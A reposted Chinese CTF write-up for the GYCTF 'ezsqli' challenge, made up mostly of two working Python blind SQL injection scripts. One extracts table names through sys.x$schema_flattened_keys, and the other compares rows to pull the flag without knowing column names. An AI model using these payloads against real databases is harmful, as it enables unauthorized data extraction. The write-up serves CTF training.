ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

ezsqli(GYCTF-WEB)

2020-03-13 12:44:28  阅读:433  来源: 互联网

标签:GYCTF WEB url res __ flag ezsqli replace select


1.知识点

SQL盲注:

  • 布尔盲注
  • 无列名盲注

2.分析

题目过滤了or和union,无法使用Information_Schema.Tables。
之前常用的 innodb_table_stats 和 innodb_index_stats 也无法使用。
但是我们首先需要查找flag所在的表名,这里我们参考
Alternatives to Extract Tables and Columns from MySQL and MariaDB
文章是用sys 来查找表名的。
本题脚本我参考了颖奇L’Amore师傅Smi1e师傅的脚本。
下面是我自己觉得可以用的脚本。
列名查找:

import requests
import string
url = "题目url"

def exp1():
    str1 = ('0123456789'+string.ascii_letters+string.punctuation).replace("'","").replace('"','').replace('\\','')
    flag = ''
    select = 'select group_concat(table_name) from sys.x$schema_flattened_keys'
    for j in range(1,40):
        for i in str1:
            paylaod = "1/**/&&/**/(select substr(({}),{},1))='{}'".format(select, j, i)
            #print(paylaod)
            data = {
                'id': paylaod,
            }
            r = requests.post(url,data=data)
            if 'Nu1L' in r.text:
                flag += i
                print(flag)
                break
if __name__ == '__main__':
    exp1()

flag获取:

import requests
url = '题目url'

def trans(flag):
    res = ''
    for i in flag:
        res += hex(ord(i))
    res = '0x' + res.replace('0x','')
    return res

flag = ''
for i in range(1,50):
    hexchar = ''
    for char in range(32, 126):
        hexchar = trans(flag+ chr(char))
        payload = '2||((select 1,{})<(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
        data = {
                'id':payload
                }
        r = requests.post(url=url, data=data)
        if 'V&N' in r.text:
            flag += chr(char-1)
            print(flag)
            break
print(flag.lower().replace('|','}'))

3.原理

4.步骤

标签:GYCTF,WEB,url,res,__,flag,ezsqli,replace,select
来源: https://blog.csdn.net/weixin_43536759/article/details/104837307

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有